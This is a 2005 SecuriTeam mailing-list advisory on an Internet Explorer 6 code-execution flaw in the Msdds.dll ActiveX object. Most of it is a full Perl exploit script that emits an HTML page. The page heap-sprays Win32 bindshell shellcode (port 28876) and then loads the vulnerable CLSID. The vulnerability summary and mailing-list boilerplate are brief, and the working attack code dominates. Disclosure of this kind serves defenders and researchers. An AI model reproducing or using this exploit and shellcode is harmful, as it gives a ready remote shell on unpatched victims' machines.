[EXPL] Microsoft Internet Explorer Msdds.dll Code Execution

From: SecuriTeam (support_at_securiteam.com)
Date: 08/18/05

  • Next message: SecuriTeam: "[NT] MDaemon Local Privileges Escalation" 
    To: list@securiteam.com
Date: 18 Aug 2005 15:06:11 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Internet Explorer Msdds.dll Code Execution
    ------------------------------------------------------------------------

    SUMMARY

    Internet Explorer is "a proprietary web browser made by Microsoft and
    currently available as part of Microsoft Windows". Flaws in initialization
    of Msdds.dll (Microsoft Design Tools Diagram Surface) object as ActiveX
    control, allows attackers to cause the Internet Explorer to execute
    arbitrary code.

    DETAILS

    Vulnerable Systems:
     * Internet Explorer 6 for Microsoft Windows XP SP1 and SP2

     Exploit:
    #!/usr/bin/perl
    ############################
    #
    # Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit
    (0day)
    #
    # Bindshell on port 28876 - Vulnerability discovered and exploited by
    Anonymous
    #
    # PoC code ripped from Berend-Jan Wever's Internet-Exploiter
    #
    # Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
    #
    # Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
    #
    # Code usage : perl IE-Msddsdll-0day.pl > mypage.html
    #
    ############################
    #
    # This program is free software; you can redistribute it and/or modify it
    under
    # the terms of the GNU General Public License version 2, 1991 as published
    by
    # the Free Software Foundation.
    #
    # This program is distributed in the hope that it will be useful, but
    WITHOUT
    # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
    FITNESS
    # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
    # details.
    #
    # A copy of the GNU General Public License can be found at:
    # http://www.gnu.org/licenses/gpl.html
    # or you can write to:
    # Free Software Foundation, Inc.
    # 59 Temple Place - Suite 330
    # Boston, MA 02111-1307
    # USA.
    #
    ############################

    # header
    my $header = "< html>< body>\n< SCRIPT language=\"javascript\">\n";

    # Win32 bindshell (port 28876) - SkyLined
    my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
    "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
    "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
    "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
    "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
    "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
    "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
    "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
    "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
    "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
    "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
    "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
    "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
    "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
    "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
    "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
    "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
    "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
    "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

    # Memory
    my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
    "headersize = 20;\n".
    "slackspace = headersize+shellcode.length\n".
    "while (bigblock.length< slackspace) bigblock+=bigblock;\n".
    "fillblock = bigblock.substring(0, slackspace);\n".
    "block = bigblock.substring(0, bigblock.length-slackspace);\n".
    "while(block.length+slackspace< 0x40000) block =
    block+block+fillblock;\n".
    "memory = new Array();\n".
    "for (i=0;i< 700;i++) memory[i] = block + shellcode;\n".
    "< /SCRIPT>\n";

    # Msdds.dll
    my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

    # footer
    my $footer = "< object classid=\"CLSID:".$clsid."\">< /object>< /body><
    /html>\n".
    "Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

    # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
    print "$header $shellcode $code $footer";

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php>
    http://www.frsirt.com/exploits/20050817.IE-Msddsdll-0day.php

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] MDaemon Local Privileges Escalation"

    Relevant Pages